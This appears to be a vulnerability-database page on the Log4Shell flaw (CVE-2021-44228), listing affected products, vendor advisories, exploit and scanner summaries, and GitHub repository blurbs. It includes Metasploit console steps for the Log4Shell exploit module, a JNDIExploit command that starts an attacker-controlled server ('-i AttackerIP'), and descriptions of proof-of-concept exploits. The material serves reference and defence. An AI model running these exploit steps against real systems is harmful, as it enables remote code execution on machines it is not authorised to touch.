1000
VMScore

CVE-2021-44228

CVSSv4: NA | CVSSv3: 10 | CVSSv2: 9.3 | VMScore: 1000 | EPSS: 0.94381 | KEV: Exploitation Reported
Published: 10/12/2021 Updated: 21/11/2024

Vulnerability Summary

Apache Log4j2 2.0-beta9 up to and including 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Vulnerability Trend

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apache log4j

apache log4j 2.0

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intel data center manager

intel genomics kernel library -

intel oneapi sample browser -

intel secure device onboard -

intel sensor solution firmware development kit -

intel system debugger -

intel system studio -

debian debian linux 9.0

debian debian linux 10.0

debian debian linux 11.0

fedoraproject fedora 34

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cisco fxos 7.0.0

cisco fxos 7.1.0

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cisco cloudcenter suite 4.10(0.15)

cisco cloudcenter suite 5.3(0)

cisco cloudcenter suite 5.4(1)

cisco cloudcenter suite 5.5(0)

cisco cloudcenter suite 5.5(1)

cisco common services platform collector 002.009(000.000)

cisco common services platform collector 002.009(000.001)

cisco common services platform collector 002.009(000.002)

cisco common services platform collector 002.009(001.000)

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cisco common services platform collector 002.010(000.000)

cisco connected analytics for network deployment 006.004.000.003

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cisco connected analytics for network deployment 006.005.000.000

cisco connected analytics for network deployment 007.000.001

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cisco connected analytics for network deployment 008.000.000.000.004

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cisco crosswork network automation 2.0.0

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cisco crosswork network automation 4.1.0

cisco crosswork network automation 4.1.1

cisco cx cloud agent 001.012

cisco cyber vision 4.0.2

cisco cyber vision sensor management extension 4.0.2

cisco dna center 2.2.2.8

cisco dna spaces -

cisco dna spaces connector -

cisco emergency responder 11.5

cisco emergency responder 11.5(4.65000.14)

cisco emergency responder 11.5(4.66000.14)

cisco enterprise chat and email 12.0(1)

cisco enterprise chat and email 12.5(1)

cisco enterprise chat and email 12.6(1)

cisco evolved programmable network manager 3.0

cisco evolved programmable network manager 3.1

cisco evolved programmable network manager 4.0

cisco evolved programmable network manager 4.1

cisco evolved programmable network manager 5.0

cisco evolved programmable network manager 5.1

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cisco firepower threat defense 6.2.3

cisco firepower threat defense 6.3.0

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cisco firepower threat defense 6.6.0

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cisco firepower threat defense 7.0.0

cisco firepower threat defense 7.1.0

cisco identity services engine 002.004(000.914)

cisco identity services engine 002.006(000.156)

cisco identity services engine 002.007(000.356)

cisco identity services engine 003.000(000.458)

cisco identity services engine 003.001(000.518)

cisco identity services engine 003.002(000.116)

cisco integrated management controller supervisor 002.003(002.000)

cisco integrated management controller supervisor 2.3.2.0

cisco intersight virtual appliance 1.0.9-343

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cisco network assurance engine 6.0(2.1912)

cisco network dashboard fabric controller 11.0(1)

cisco network dashboard fabric controller 11.1(1)

cisco network dashboard fabric controller 11.2(1)

cisco network dashboard fabric controller 11.3(1)

cisco network dashboard fabric controller 11.4(1)

cisco network dashboard fabric controller 11.5(1)

cisco network dashboard fabric controller 11.5(2)

cisco network dashboard fabric controller 11.5(3)

cisco network insights for data center 6.0(2.1914)

cisco network services orchestrator -

cisco optical network controller 1.1

cisco paging server 8.3(1)

cisco paging server 8.4(1)

cisco paging server 8.5(1)

cisco paging server 9.0(1)

cisco paging server 9.0(2)

cisco paging server 9.1(1)

cisco paging server 12.5(2)

cisco paging server 14.0(1)

cisco prime service catalog 12.1

cisco sd-wan vmanage 20.3

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cisco sd-wan vmanage 20.6

cisco sd-wan vmanage 20.6.1

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cisco ucs central software 2.0

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cisco ucs central software 2.0(1h)

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cisco unified communications manager 11.5(1.17900.52)

cisco unified communications manager 11.5(1.18119.2)

cisco unified communications manager 11.5(1.18900.97)

cisco unified communications manager 11.5(1.21900.40)

cisco unified communications manager 11.5(1.22900.28)

cisco unified communications manager im & presence service 11.5(1)

cisco unified communications manager im & presence service 11.5(1.22900.6)

cisco unified computing system 006.008(001.000)

cisco unified contact center enterprise 12.0(1)

cisco unified contact center enterprise 12.5(1)

cisco unified contact center enterprise 12.6(1)

cisco unified contact center enterprise 12.6(2)

cisco unified contact center express 12.5(1)

cisco unified contact center express 12.6(1)

cisco unified contact center express 12.6(2)

cisco unified contact center management portal 12.6(1)

cisco unified customer voice portal 11.6(1)

cisco unified customer voice portal 12.0(1)

cisco unified customer voice portal 12.5(1)

cisco unified customer voice portal 12.6(1)

cisco unified intelligence center 12.6(1)

cisco unified intelligence center 12.6(2)

cisco unified sip proxy 010.000(000)

cisco unified sip proxy 010.000(001)

cisco unified sip proxy 010.002(000)

cisco unified sip proxy 010.002(001)

cisco unified workforce optimization 11.5(1)

cisco unity connection 11.5

cisco unity connection 11.5(1.10000.6)

cisco video surveillance manager 7.14(1.26)

cisco video surveillance manager 7.14(2.26)

cisco video surveillance manager 7.14(3.025)

cisco video surveillance manager 7.14(4.018)

cisco virtual topology system 2.6.6

cisco wan automation engine 7.1.3

cisco wan automation engine 7.2.1

cisco wan automation engine 7.2.2

cisco wan automation engine 7.2.3

cisco wan automation engine 7.3

cisco wan automation engine 7.4

cisco wan automation engine 7.5

cisco wan automation engine 7.6

snowsoftware snow commander

snowsoftware vm access proxy

bentley synchro

bentley synchro 4d

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apple xcode

Vendor Advisories

Synopsis Critical: Red Hat Process Automation Manager 7120 security update Type/Severity Security Advisory: Critical Topic An update is now available for Red Hat Process Automation ManagerRed Hat Product Security has rated this update as having a security impact of Moderate A Common Vulnerability Scoring System (CVSS) base score, which gi ...
Debian Bug report logs - #1001478 apache-log4j2: CVE-2021-44228: Remote code injection via crafted log messages Package: src:apache-log4j2; Maintainer for src:apache-log4j2 is Debian Java Maintainers <pkg-java-maintainers@listsaliothdebianorg>; Reported by: Salvatore Bonaccorso <carnil@debianorg> Date: Fri, 10 Dec ...
Debian Bug report logs - #1001729 apache-log4j2: CVE-2021-45046: Incomplete fix for CVE-2021-44228 in certain non-default configurations Package: src:apache-log4j2; Maintainer for src:apache-log4j2 is Debian Java Maintainers <pkg-java-maintainers@listsaliothdebianorg>; Reported by: Salvatore Bonaccorso <carnil@debianor ...
It was found that the fix to address CVE-2021-44228 in Apache Log4j, a Logging Framework for Java, was incomplete in certain non-default configurations This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:l ...
Chen Zhaojun of Alibaba Cloud Security Team discovered a critical security vulnerability in Apache Log4j, a popular Logging Framework for Java JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints An attacker who can control log messages or log message pa ...
No versions of an Amazon Linux Java Virtual Machine (JVM) are affected by CVE-2021-44228 or CVE-2021-45046 However, if customers load a log4j version that is affected by CVE-2021-44228 or CVE-2021-45046 into an Amazon Linux JVM, it will introduce the issues identified in CVE-2021-44228 and CVE-2021-45046 into the JVM This update modifies Amazon L ...
A flaw was found in the Java logging library Apache Log4j 2 in versions from 200 and before and including 2141 which could allow a remote attacker to execute code on the server if the system logs an attacker controlled string value with the attacker's JNDI LDAP server lookup The highest threat from the vulnerability is to data confidentiality ...
No versions of an Amazon Linux Java Virtual Machine (JVM) are affected by CVE-2021-44228 or CVE-2021-45046 However, if customers load a log4j version that is affected by CVE-2021-44228 or CVE-2021-45046 into an Amazon Linux JVM, it will introduce the issues identified in CVE-2021-44228 and CVE-2021-45046 into the JVM This update modifies Amazon L ...
Amazon Kinesis Agent versions within Amazon Linux 2 (AL2) prior to aws-kinesis-agent-204-1 included a version of Apache Log4j affected by CVE-2021-44228 and CVE-2021-45046 The Amazon Kinesis Agent has been updated to aws-kinesis-agent-204-1 within Amazon Linux 2 that mitigates CVE-2021-44228 and CVE-2021-45046 For additional detail see https: ...
No versions of an Amazon Linux Java Virtual Machine (JVM) are affected by CVE-2021-44228 or CVE-2021-45046 However, if customers load a log4j version that is affected by CVE-2021-44228 or CVE-2021-45046 into an Amazon Linux JVM, it will introduce the issues identified in CVE-2021-44228 and CVE-2021-45046 into the JVM This update modifies Amazon L ...
No versions of an Amazon Linux Java Virtual Machine (JVM) are affected by CVE-2021-44228 or CVE-2021-45046 However, if customers load a log4j version that is affected by CVE-2021-44228 or CVE-2021-45046 into an Amazon Linux JVM, it will introduce the issues identified in CVE-2021-44228 and CVE-2021-45046 into the JVM This update modifies Amazon L ...
Critical Vulnerabilities in Apache Log4j Java Logging Library On December 9, 2021, the following critical vulnerability in the Apache Log4j Java logging library affecting all Log4j2 versions earlier than 2150 was disclosed: CVE-2021-44228: Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoin ...
Apache Log4j2 <=2141 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled From log4j 2 ...
A flaw was found in the Java logging library Apache Log4j 2 in versions from 20-beta9 and before and including 2141 This could allow a remote attacker to execute code on the server if the system logs an attacker-controlled string value with the attacker's JNDI LDAP server lookup (CVE-2021-44228) ...
ALAS-2022-225 Amazon Linux 2022 Security Advisory: ALAS-2022-225 Advisory Release Date: 2022-12-06 16:42 Pacific ...
A vulnerability (CVE-2021-44228) exists in Hitachi Storage Plug-in for VMware vCenter Affected products and versions are listed below Please upgrade your version to the appropriate version, or apply the Workarounds ...
A vulnerability exists in JP1/VERITAS Affected products and versions are listed below Please upgrade your version to the appropriate version ...
A vulnerability (CVE-2021-44228) exists in Hitachi Device Manager, Hitachi Infrastructure Analytics Advisor, Hitachi Automation Director, Hitachi Ops Center Analyzer, Hitachi Ops Center Automator and Hitachi Ops Center Administrator Affected products and versions are listed below Please upgrade your version to the appropriate version, or apply ...
Citrix is aware of four vulnerabilities affecting Apache Log4j2, three of which may allow an attacker to execute arbitrary code These three vulnerabilities have been given the following identifiers:  ...
Sign up for Security Advisories Stay up to date on the latest VMware Security advisories and updates ...

ICS Advisories

Exploits

Apache Log4j2 versions 20-beta-9 and 2141 remote code execution exploit ...
This Metasploit module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload The Automatic target delivers a Java payload using remote class loading This requires Metasploit to run an HTTP server in addition to the LDAP server that the ta ...
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server will cause it to connect to the attacker and deserialize a malicious Java object This results in OS command execution in the context of the tomcat user This Metasploit module will start an LDAP server that the target will need to connect to ...
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can be sent to the server that will cause it to connect to the attacker and deserialize a malicious Java object This results in OS command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on Windows This Metasploit ...
Apache Log4j2 versions 2141 and below information disclosure exploit ...
The latest version (51) and all prior versions of Intel's Data Center Manager are vulnerable to a local privileges escalation vulnerability using the application user "dcm" used to run the web application and the rest interface An attacker who gained remote code execution using this dcm user (ie, through Log4j) is then able to escalate their pr ...
Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that ...
Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will ...

Mailing Lists

Severity: moderate (CVSS: 37 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) Description: It was found that the fix to address CVE-2021-44228 in Apache Log4j 2150 was incomplete in certain non-default configurations This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Patte ...
Hi Ron, Is there any information on the non-default configuration that triggers the DoS? What I am trying to understand is, if we clear the first CVE through, say, envar LOG4J_FORMAT_MSG_NO_LOOKUPS=true or -Dlog4j2formatMsgNoLookups=true, then where does the vulnerability lie for the second CVE? What configuration change needs to be done to re ...
Severity: critical Description: Apache Log4j2 <=2141 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup s ...
Hello, To emphasize again: this needs write access to the Log4j configuration Moritz ...
Description: JMSAppender in Log4j 12 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashi ...

Metasploit Modules

Log4Shell HTTP Header Injection

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload. The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP server in addition to the LDAP server that the target can connect to. The targeted application must have the trusted code base option enabled for this technique to work. The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.

msf > use exploit/multi/http/log4shell_header_injection
msf exploit(log4shell_header_injection) > show targets
    ...targets...
msf exploit(log4shell_header_injection) > set TARGET < target-id >
msf exploit(log4shell_header_injection) > show options
    ...show and set options...
msf exploit(log4shell_header_injection) > exploit
Log4Shell HTTP Scanner

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache OFBiz.

msf > use auxiliary/scanner/http/log4shell_scanner
msf auxiliary(log4shell_scanner) > show actions
    ...actions...
msf auxiliary(log4shell_scanner) > set ACTION < action-name >
msf auxiliary(log4shell_scanner) > show options
    ...show and set options...
msf auxiliary(log4shell_scanner) > run

Github Repositories

DataScript Examples Library

DataScript Examples Content Switching HTTP Host Switching HTTP Host Switching using Host Header HTTP Host Switching using Host Header and String Groups HTTP URI Switching - Simple HTTP URI Switching - Advanced HTTP IP Switching HTTP Content Switch based on HTTP POST / REQUEST DATA HTTP URI Switching using String Groups - Advanced L4 Traffic Management Radius-DHCP-HTTPS SNI Base

public snap labs templates dashboardsnaplabsio/templates/098f6f57-d9ca-43cc-4a18-0c4ef8e00447 Name Log4Shell Description Lab to play with the log4shell (CVE-2021-44228) vulnerability Estimated Running Cost $0097/hour dashboardsnaplabsio/templates/fa55d16d-1ecd-4240-7d61-abd5d0d5a152 Name Entry Level Pentesting Description This lab simulates a penetration t

Semgrep Log4j v2 Vulnerability Demo

semgrep-log4j-vul-demo Log4Shell is a software vulnerability in Apache Log4j 2, a popular Java library for logging error messages in applications The vulnerability, published as CVE-2021-44228, enables a remote attacker to take control of a device on the internet if the device is running certain versions of Log4j 2 Attackers can exploit the vulnerability using text messages t

Springboot web application accepts a name get parameter and logs its value to log4j2. Vulnerable to CVE-2021-44228.

log4shellwithlog4j2_13_3 Springboot web application accepts a name get parameter and logs its value to log4j2 Vulnerable to CVE-2021-44228 build the Springboot vulnerable application with mvn clean install run the Springboot application with the k2 agent with java --add-modules javasql -javaagent:/opt/k2-ic/K2-JavaAgent-100-jar-with-dependenciesjar -jar target/demoLog4Sh

Powershell tools for log4j vulnerability

Log4j-PoSH These Powershell scripts/functions represent some quickly thrown together tools to assist in manually mitigating CVE-2021-44228 These were based on the guidance provided by Apache on their Security Page for Log4j This repository may change as new information about log4shell comes out, and as my need for tools evolves Get-Log4jJarFiles This is a function, requirin

A micro lab for CVE-2021-44228 (log4j)

horrors-log4shell A micro lab (playground?) for CVE-2021-44228 (log4j) Can be used for executing payloads against multiple targets Target-specific payloads are generated runtime Adjustable configuration and bypasses Installation Java-related requirements Development / Running example Gradle Maven In order to test the recent log4j related vulnerabilities (CVE-2021-442

This is the Git source repo for unofficial Docker images of WSO2IS with Lo4j CVE-2021-45046 and CVE-2021-44228 patched Docker images for WSO2IS with Lo4j CVE-2021-45046 and CVE-2021-44228 patched The CVEs were patched by deleting the file org/apache/logging/log4j/core/lookup/JndiLookupclass from affected jars, per the recommended mitigations listed on the Log4j Security page

Log4j CVE-2021-44228 Solutions Think about if you actually really require Log4j2 Core Most likely, your own code (or some 3rd-party library you depend on) only need Log4j's Logging API façade - but can log to another back-end You could therefore simply completely exclude the orgapachelogginglog4j:log4j-core dependency Use one of several available "Loggi

POC code for log4shell with full exploitation

Log4j RCE Vulnerability (CVE-2021-44228) This is for educational purposes only This contains docker files to create the testing environment for this exploit Building and running the testing environment Start the vulnerable app and test server git clone --recursive githubcom/jsnv-dev/yet_another_log4j_POC_standalone cd yet_another_log4j_POC_standalone docker-compose up

Burp Active Scan extension to identify Log4j vulnerabilities CVE-2021-44228 and CVE-2021-45046

Log4j-HammerTime This Burp Suite Active Scanner extension validates exploitation of the Apache Log4j CVE-2021-44228 and CVE-2021-45046 vulnerabilities This extension uses the Burp Collaborator to verify the issue Usage Enable this extension Launch an Active Scan on a specific target if you want to run only checks from this module, you can import the extensions-onlyjson pro

A Basic Java Application Vulnerable to the Log4Shell RCE

log4shell vulnerable app This is a basic, minimal, intentionally vulnerable Java web application including a version (2141) of the log4j library affected by the infamous log4shell (CVE-2021-44228) vulnerability build and run instructions Gradle wrapper should solve everything Simply git clone the repo: git clone githubcom/tothi/log4shell-vulnerable-app

SnapAttack Log4j / CVE-2021-44228 / log4shell Resources What's included? Damn Vulnerable Log4j App damn-vulnerable-log4j-app contains a basic vulnerable Java Servlet that logs the User Agent, HTTP GET and POST parameters with log4j It is packaged as a war file and can be deployed to servers like Tomcat See the README for more information Attack Artifacts attack-arti

Provides deep dependency scanning for vulnerable log4j-core usage in Git repositories.

Deep scanning for log4j IAS created an open source project, dependency-deep-scan-utilities which detects log4j vulnerabilities (CVE-2021-44228 and CVE-2021-45046) in your source code Because of the widespread use of log4j, ease of exploit, and ability to perform remote code execution, IAS open sourced this project to help everyone mitigate this exploit dependency-deep-scan-ut

Openfire-Pade-Cluster

Pade &amp; Openfire Docker Mode Padé and Openfire package in Docker mode - All questions &amp; contribs for Padé Docker are welcomed You also need a mysql Docker instance installed and correctly configuered These scripts create a docker image with Openfire + Plugins for Padé and Jitsi videobridge Building docker image Please use this as example to b

Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading The script "log4j-detectpy" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228 To do so, it sends a GET request using threads (higher performance) to each of th

Log4j | CVE-2021-44228 | IOCs List Log4j IP List 458364237 9222389187 458367157 4583668 5121017524 517516178 18522010162 139177178141 458366111 942325177 5121017587 68183198247 18510756121 147182154110 1851008741 61175202154 621128132 45836494 1097010028 21217517038 458367228 1168918919 13868155222 45836520

Scripts for addressing log4j zero day security issue

cloudera-scripts-for-log4j This repo contains scripts and helper tools to mitigate the critical log4j vulnerability CVE-2021-44228 for Cloudera products affecting all versions of log4j between 20 and 2141 Please read the technical service bulletin found here for an analysis of which products have been affected, and find the mitigations in the actions required section for th

Check and report for cve_2021_44228 (log4shell) on your system.

Ansible role cve_2021_44228 THIS ROLE HAS BEEN ARCHIVED AS OF DEC 2023 Check and report for cve_2021_44228 (log4shell) on your system GitHub GitLab Downloads Version Example Playbook This example is taken from molecule/default/convergeyml and is tested on each push, pull request and release --- - name: Converge hosts: all become: yes gather_facts: yes

Presents how to exploit CVE-2021-44228 vulnerability.

LOG4J Vulnerability A Java-based project presenting how to exploit CVE-2021-44228 vulnerability Log4jVulnerabilitymp4 Requirements A Linux-based operating system: I used Ubuntu Desktop 2010 64 bits OpenJDK 1701: To build the exploitation program Newer versions might work as well Oracle Java Development Kit (JDK) 180_181: This is e

jndi-utils 介绍 针对"CVE-2021-44228"的测试工具 参考 helpaliyuncom/noticelist/articleid/1060971232html giteecom/six-thousand-and-forty/JNDIExploitgit githubcom/mbechler/marshalsecgit githubcom/querydsl/querydslgit 构建 /gradlew build -x

POC for Infamous Log4j CVE-2021-44228

CVE-2021-44228-Log4Shell-POC Complete POC for Infamous Log4j CVE-2021-44228 Prerequisites Download and Install Java from here, you can use jdk-8u181 Install IntelliJ Idea from here POC Step 1 : Clone this repository Step 2 : Move Exploitjava file to a different folder Like in my case I've created a folder rce inside home directory /home/coldfusionx/rce Step 3 :

log4shell vulnerable app This is a basic, minimal, intentionally vulnerable Java web application including a version (2141) of the log4j library affected by the infamous log4shell (CVE-2021-44228) vulnerability build and run instructions Gradle wrapper should solve everything Simply git clone the repo: git clone githubcom/tothi/log4shell-vulnerable-app

Log4j vulner testing environment based on CVE-2021-44228. It provide guidance to build the sample infrastructure and the exploit scripts. Supporting cooki3 script as the main exploit tools & integration

Article Journal: wwwresearchgatenet/publication/373214720_Pengujian_Kerentanan_pada_CVE-2021-44228_terhadap_Ancaman_Remote_Access_Trojan Thesis: 1drvms/b/s!Al-8jtgY0iBXmz79DKEROaZT5n8a?e=1E6Pkm Log4Shell // (n) Log4j Vulnerability Environment Box This repo purposely built for Log4j vulnerability testing environment that based on CVE-2021-44228 This env

log4jdemo

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker build -t vulnerable-app docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools) Fuzzing for HTTP POST Data parameters Fuzzing for JSON data parameters Supports DNS callback for vulnerability discovery and validation WAF Bypass

Details : CVE-2021-44228

JNDI-Exploit-12-log4shell Details : CVE-2021-44228 Usage : ----------------------------------------------------- java -jar JNDIExploit-12jar -i AttackerIP * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false) -h, --help Show this help --

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app

WU Gloo Mesh POC Runbook Table of Contents Gloo Mesh Labs Introduction to Gloo Mesh Lab 0 - Prerequisites Lab 1 - Setting up your Environment Variables Lab 2 - Deploy Istio Lab 3 - Deploy the Bookinfo demo app Lab 4 - Deploy the httpbin demo app Lab 5 - Deploy and register Gloo Mesh Lab 6 - Create the gateways workspace Lab 7 - Create the bookinfo workspace Lab 8a - Expose the

CVE-2021-44228 こっちのお話の方がより実用性があると思います(泣)christophetd/log4shell-vulnerable-app 興味を持って勢いで調べただけなので、あやふやな箇所や間違いがあると思われます。 どうか、自己責任でお願いします。 再現環境を作る。 linux環境であれば動作すると思われます。 1 jd

Detect and fix log4j log4shell vulnerability (CVE-2021-44228)

log4fix This tool is to detect and fix the log4j log4shell vulnerability (CVE-2021-44228) by looking and removing the JndiLookup class from jar/war/ear files with zero dependencies for free This tool has been tested on: - Linux 32bit and 64 bit - Windows 32 bit and 64 bit - OpenBSD 64 bit This tool is written in the Go programming language which means zero dependencies and

Log4j Scans githubcom/fullhunt/log4j-scan log4shellhuntresscom/ wwwcyberdraincom/monitoring-with-powershell-detecting-log4j-files/ researchnccgroupcom/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/ githubcom/hillu/local-log4j-vuln-scanner githubcom/omrsafetyo/PowerShellSnippets/blob/master/In

log4j2-rce靶场

springboot-login-log4j2 项目介绍 在laoyogd的springboot-login项目的基础上引入了log4j2生成日志,作为复现CVE-2021-44228的靶场。 docker一键部署 githubcom/Ode1esse/springboot-login-log4j2-docker 本地调试 创建login数据库 create database login default character set utf8mb4 collate utf8mb4_general_ci; 导入initsql 运行项目之后

A community sourced list of log4j-affected software

CISA Log4j (CVE-2021-44228) Vulnerability Guidance This repository provides CISA's guidance and an overview of related software regarding the Log4j vulnerability (CVE-2021-44228) CISA urges users and administrators to upgrade to Log4j 2171 (Java 8), 2124 (Java 7) and 232 (Java 6), and review and monitor the Apache Log4j Security Vulnerabilities webpage for updates a

Quick Deploy to show case cve-2021-44228

Cloud One - Workload Security Log4Shell This repo contains a quick deployment template to showcase CVE-2021-44228 LOG4SHELL exploit and Workload Security Intrusion Prevention Note on CFT deployment in AWS regions I only added AMI Id's for US-EAST-1, US-EAST-2, US-WEST-1, US-WEST-2, CA-CENTRAL-1, SA-EAST-1, EU-WEST-1 Deploy CloudFormation Template Parameters to Define:

Fun things against the abuse of the recent CVE-2021-44228 (Log4Shell) vulnerability using common web servers.

anti-jndi Fun things against the abuse of the recent CVE-2021-44228 (Log4Shell) vulnerability using common web servers Based on the post by @shipilev (gistgithubcom/shipilev/92e709a868f3d328b6636e1bfc21cf09) I ported his example to Apache2 A coworker did it for Lighttpd I decided to make our examples public for convenience Idea There are only few reasons to put th

Log4Shell dockerized full chain

Full-chain dockerized Log4Shell (CVE-2021-44228) Log4Shell (CVE-2021-44228) is a critical vulnerability in the popular log4j2 logging package This vulnerability is extremely easy to exploit, and was fixed in log4j2 version 215 This repository goal is to automate and construct the environment through a single click by using docker-compose and containers This could be useful

Zusammenspiel von SpringBoot und Logback und Log4j2 Dies ist ein kleines Beispielprojekt, welches das Zusammenspiel von SpringBoot und LogBack untersucht Keine Ahnung, warum wir Logback verwenden und nicht das neuere Log4j2! Im Rahmen von CVE-2021-44228 vulnerability in Apache Log4j library erweitere ich die Untersuchung noch ein klein wenig in Hinblick auf die Einbindung von

English • 中文 • Korean • Indonesia • Spanish • 日本語 &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Nuclei is a modern, high-performance vulnerability scanner that leverages simple YAML-based templates It empowers you to design custom vulnerability detection scenarios that mimic real-world conditions, leading

漏洞数据分析系统 系统实体关系 本系统包含以下主要实体及其关系: Vulnerability(漏洞) 属性:cve_id, published_date, description, CPEs, CWE, CVSS2 关系: AFFECT -&gt; Software AFFECT_VERSION -&gt; Version FIX -&gt; Software Software(组件) 属性:name, author, url 关系: HAS -&gt; Version REUSE -&gt;

Log4Shell Exploiter - Agent Plugin for Infection Monkey Introduction Log4Shell Exploiter is an Agent Plugin for Infection Monkey that exploits CVE-2021-44228 It affects the Apache Log4j,a Java logging framework The plugin will attempt to exploit the vulnerability in three service: Apache Solr Apache Tomcat Logstash For more information, see the Log4Shell Exploiter Plugin do

AIG Shield Up Cybersecurity Program The AIG Shield Up Cybersecurity Program is a virtual internship hosted on Forage 👉 Learn more and participate here From Simulation to Reality: Tackling Zero-Day Vulnerabilities and Ransomware Attacks Time Period: June 2024 Overview This repository contains insights and strategies I developed while participating in the AIG Cybersecurity Vi

SnapAttack Log4j / CVE-2021-44228 / log4shell Resources What's included? Damn Vulnerable Log4j App damn-vulnerable-log4j-app contains a basic vulnerable Java Servlet that logs the User Agent, HTTP GET and POST parameters with log4j It is packaged as a war file and can be deployed to servers like Tomcat See the README for more information Attack Artifacts attack-arti

Effortless Log4j vulnerability detection.

RustyLog4jGuard Effortless Log4j vulnerability detection Features Recursive scanning of directories for JAR and class files Multi-threaded parallel scanning for improved performance Identification of potential Log4Shell vulnerabilities Support for custom vulnerability patterns using regex File and directory exclusion patterns using glob syntax Multiple hashing algorithms for

ScriptRunner This plugin is based on the simple template for a KRunner plugin using dbus: githubcom/KDE/krunner/tree/master/templates/runner6python On installation it creates default config, edit ~/config/scriptRunner/configsh to set up your own It logs to ~/Logs/ScriptRunnerlog if the Logs folder exists The idea is to simply run a shell script ScriptRunnersh wit

Demonstration of the Log4jShell Exploit This code may contain malware and is known to contain vulnerabilities Use at your own risk - if you use it, be advised to do that in a VM - discard the VM after use log4shell-poc This is a proof of concept for the Log4j vulnerability (CVE-2021-44228), that works by evaluating an expression that pulls external code via JNDI over RMI It

Python script to map alert signatures to MITRE ATT&CK techniques.

MITRE ATT&amp;CK Mapper This project provides a Python script to map alert signatures to MITRE ATT&amp;CK techniques It uses the mitreattack-python library to fetch detailed information about MITRE ATT&amp;CK techniques dynamically from the latest STIX data Table of Contents MITRE ATT&amp;CK Mapper Table of Contents Features Prerequisites Installation Usage

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it Proof-of-concept (POC) As a

Docker Log4J

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it Proof-of-concept (POC) As a

Respond to a ZeroDay Attack What you'll learn Learn how to address a vulnerability that may affect Product Development Staging Environment infrastructure What you'll do Review recent publications from the Cybersecurity &amp; Infrastructure Security Agency (CISA) Research the reported vulnerability Draft an email to affected teams to alert them of the vulnerabi

